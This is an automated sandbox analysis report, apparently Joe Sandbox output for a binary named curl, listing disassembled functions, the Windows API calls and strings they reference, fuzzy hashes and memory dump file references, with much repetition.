Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportTypeVersion
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 2339391290-1348657634
Opcode ID: 8273aa37ea91544aaab598ece4b9f31c57c7cb5ac8535c223db23ad2cbd9e4f1
Instruction ID: 0a6f71f61be3d63d3f8219e627b06349b98467bce7a7e482845a1d0acae2d18e
Opcode Fuzzy Hash: 8273aa37ea91544aaab598ece4b9f31c57c7cb5ac8535c223db23ad2cbd9e4f1
Instruction Fuzzy Hash: F221D371A543007BE730AB60EC4BFEF779CAF98701F80481AF699861D0EAB594508B53

Function 001D17A0 Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 387COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 001D196A
SetLastError.KERNEL32(00000000), ref: 001D1974
GetLastError.KERNEL32(?,?,?,?,?), ref: 001D198C
SetLastError.KERNEL32(00000000,?,?,?,?,?), ref: 001D199B

Strings

%02d:%02d:%02d, xrefs: 001D191B
%02d:%02d, xrefs: 001D1947
+, xrefs: 001D1A0C
%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 001D184F

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: %02d:%02d$%02d:%02d:%02d$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$+
API String ID: 1452528299-1722805465
Opcode ID: 783befc4f5d5bcfea25644c6b3c1792c7c0b44a69985f1cc7122a9b960a624e6
Instruction ID: 3180931a586e79eb3e558c7941ec61a5a6cbc57ac1e7fe23585f49f4abff6d73
Opcode Fuzzy Hash: 783befc4f5d5bcfea25644c6b3c1792c7c0b44a69985f1cc7122a9b960a624e6
Instruction Fuzzy Hash: 88D1B171A083417BC724DF28988026EBBE5AFD9360F544B2FF9A5873D1E731D9458B42

Function 002D8705 Relevance: 9.2, APIs: 6, Instructions: 160memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002C08C3: SetFilePointerEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,002C085C,?,?,?,?,00307930), ref: 002C08FA
Part of subcall function 002C08C3: GetLastError.KERNEL32(?,?,?,?,002C085C,?,?,?,?,00307930,00000018,001C34F9,?,?,?,?), ref: 002C0904

GetProcessHeap.KERNEL32(00000008,00001000,?,?,?,?,?,001C5539,00000001,00000000,?,?,002CF8BC,001C5539,00000000,00000080), ref: 002D876E
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,001C5539,00000001,00000000,?,?,002CF8BC,001C5539,00000000,00000080), ref: 002D8775
GetProcessHeap.KERNEL32(00000000,001C5539,?,?,?,?,?,?,?,?,001C5539,00000001,00000000,?,?,002CF8BC), ref: 002D8817
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,001C5539,00000001,00000000,?,?,002CF8BC,001C5539), ref: 002D881E
SetEndOfFile.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,001C5539,00000001,00000000,?,?,002CF8BC), ref: 002D8854
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,001C5539,00000001,00000000,?,?,002CF8BC,001C5539), ref: 002D8884

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Heap$ErrorFileLastProcess$AllocFreePointer
String ID:
API String ID: 1354853467-0
Opcode ID: dcb3e544d482d637fd9f7fbb844f18797392b5ee9eacbfc4d77c8be817ae6969
Instruction ID: a05a74cf6f40c58224c09020e81b7bbf2806e60976ae0dcee8bc22e91f26fcb1
Opcode Fuzzy Hash: dcb3e544d482d637fd9f7fbb844f18797392b5ee9eacbfc4d77c8be817ae6969
Instruction Fuzzy Hash: 3B411736D20515ABEB206FB88C4AFADBB74EF04760F24431BF524D73D0EA748C615AA1

Function 001D23B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,001DD974), ref: 001D23B7
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000000,?,000000FF,00000000,001DD974), ref: 001D240F
GetLastError.KERNEL32(?,?,?,?,001DD974), ref: 001D246B
SetLastError.KERNEL32(00000000,?,?,?,?,001DD974), ref: 001D2476

Strings

Unknown error %d (%#x), xrefs: 001D241B

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast$FormatMessage
String ID: Unknown error %d (%#x)
API String ID: 71157656-2414550090
Opcode ID: ff5736fac91290edca3109a6ba214033d615e45fa9e29c53db221c3873e3b0f8
Instruction ID: d001dca1254a1d9eaac3f6ea1fe2e9a7769d3f807d655e87bbf432dd830e04ab
Opcode Fuzzy Hash: ff5736fac91290edca3109a6ba214033d615e45fa9e29c53db221c3873e3b0f8
Instruction Fuzzy Hash: AE113870B406016AE72526356C4AF7F298D8FB7706F04003EFC2AE6793EFB0881181B2

Function 002D6DA3 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(?,?,00000055), ref: 002D6EBC
IsValidCodePage.KERNEL32(00000000), ref: 002D6F10
IsValidLocale.KERNEL32(?,00000001), ref: 002D6F23
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040), ref: 002D6F76
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 002D6F8D

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 3475089800-0
Opcode ID: b70e82e7e1dfb854d79b1400a7c11245d0f833dac778ca5cd24d6c700273af93
Instruction ID: 336139fcb5840c5635cc4f081b4dd730741351bed961778c472408a17c809217
Opcode Fuzzy Hash: b70e82e7e1dfb854d79b1400a7c11245d0f833dac778ca5cd24d6c700273af93
Instruction Fuzzy Hash: 2F517F7592421A9EDF20EFA4DC89FBA77B8EF04700F04046BE905DB291E7719D64CBA1

Function 002D6C8C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,002D6EE8,?,00000000), ref: 002D6CD0
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,002D6EE8,?,00000000), ref: 002D6CFA

Strings

ACP, xrefs: 002D6C9D
OCP, xrefs: 002D6CAE

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: eedf35710ac953fa0e5d89b36fcd6706f626110ef23476253cab9da428bf87b2
Instruction ID: 21c2ccf7c67896ff7105612ff3242283add33be2830a268749a4a89e40c45230
Opcode Fuzzy Hash: eedf35710ac953fa0e5d89b36fcd6706f626110ef23476253cab9da428bf87b2
Instruction Fuzzy Hash: 4D018C31631616AAEB109E54EC8DE9A37A8EF04760B148017F908DA291E770EEA1CB90

Function 002CEDCF Relevance: 6.1, APIs: 4, Instructions: 53timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 002CEE03
GetCurrentThreadId.KERNEL32 ref: 002CEE12
GetCurrentProcessId.KERNEL32 ref: 002CEE1B
QueryPerformanceCounter.KERNEL32(?), ref: 002CEE28

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 6a2e2b4ff1360142f174c71e5013fa39657d0b8ba168ec98a689f9a6430e95c9
Instruction ID: ef86d790c50546f75da2636bfc84ead453daa149083245defcb1b17bae40f8c4
Opcode Fuzzy Hash: 6a2e2b4ff1360142f174c71e5013fa39657d0b8ba168ec98a689f9a6430e95c9
Instruction Fuzzy Hash: C6119E71D122089BCF14CFB9E958BAEB7B8EB48311F61056BD807D7250EA309A11CB51

Function 001F80B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

bind() failed; %s, xrefs: 001F81BA

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: bind() failed; %s
API String ID: 0-1141498939
Opcode ID: dfa085e05737a66e6bcb27855c6aab6761b5d84b5cab7a5d10288cff0bff5007
Instruction ID: ece851ef047b3296e7b4eb02d91335f176d09aba6c5100bebc3bff978ec3d0fa
Opcode Fuzzy Hash: dfa085e05737a66e6bcb27855c6aab6761b5d84b5cab7a5d10288cff0bff5007
Instruction Fuzzy Hash: 7331B275600706DFD7218F28DC88BE6BBE4EF48311F04052AE9158B391DB71A899CBA1

Function 002CC584 Relevance: 4.8, APIs: 3, Instructions: 273timeCOMMON

Download Yara Rule

APIs

Part of subcall function 002C8F5F: EnterCriticalSection.KERNEL32(00000000,?,002C5D8A,0000000D), ref: 002C8F8A

GetTimeZoneInformation.KERNEL32(00367F78,00000000,00000000,00000000,00000000,00000000,00307F28,00000030,002CC335,00307F08,00000008,002C124C,?,00000000,?,000003E8), ref: 002CC6B3
WideCharToMultiByte.KERNEL32(?,00000000,00367F7C,000000FF,?,0000003F,00000000,?), ref: 002CC72C
WideCharToMultiByte.KERNEL32(?,00000000,00367FD0,000000FF,?,0000003F,00000000,?), ref: 002CC765

Part of subcall function 002BE832: RtlFreeHeap.NTDLL(00000000,00000000,?,002C5D32,00000000,002DA609,00000001,00000000), ref: 002BE846
Part of subcall function 002BE832: GetLastError.KERNEL32(00000000,?,002C5D32,00000000,002DA609,00000001,00000000), ref: 002BE858

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$CriticalEnterErrorFreeHeapInformationLastSectionTimeZone
String ID:
API String ID: 1184061189-0
Opcode ID: f9da01cbad48cc4634e0d7be1a4b522e84e40266366e79f3cbcbd24a377e95ee
Instruction ID: b36b4e4b213e9f929e8dcec788bdaeb4add4b360299904af32b40cfddecd0e55
Opcode Fuzzy Hash: f9da01cbad48cc4634e0d7be1a4b522e84e40266366e79f3cbcbd24a377e95ee
Instruction Fuzzy Hash: 3CA18271D242069EDB16DFA8D845FADBBB8EF49710F74421EE408AB2A1D7748C61CF14

Function 002D696D Relevance: 4.7, APIs: 3, Instructions: 174COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 002D69C6
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 002D6A13
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 002D6AC3

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 0104665a551c6d9525a3d11cd6679c1450eb6a1fc47cf09dab49ad393e1f24a4
Instruction ID: 1acfa392290314973eff66b57233ee7086fa83dceb20be16c11da1ecb8173408
Opcode Fuzzy Hash: 0104665a551c6d9525a3d11cd6679c1450eb6a1fc47cf09dab49ad393e1f24a4
Instruction Fuzzy Hash: BA51D1725606179FDB249F24CC8ABB6B7A8EF14314F14807BE944DA291EB75ED60CF10

Function 002CBAE1 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,002C5AAF,?,?,?,00000001), ref: 002CBAE6
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 002CBAEF

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f15f020cc498ba2661b25687e54d264c4756644103b6f41b4d13da9954a520ff
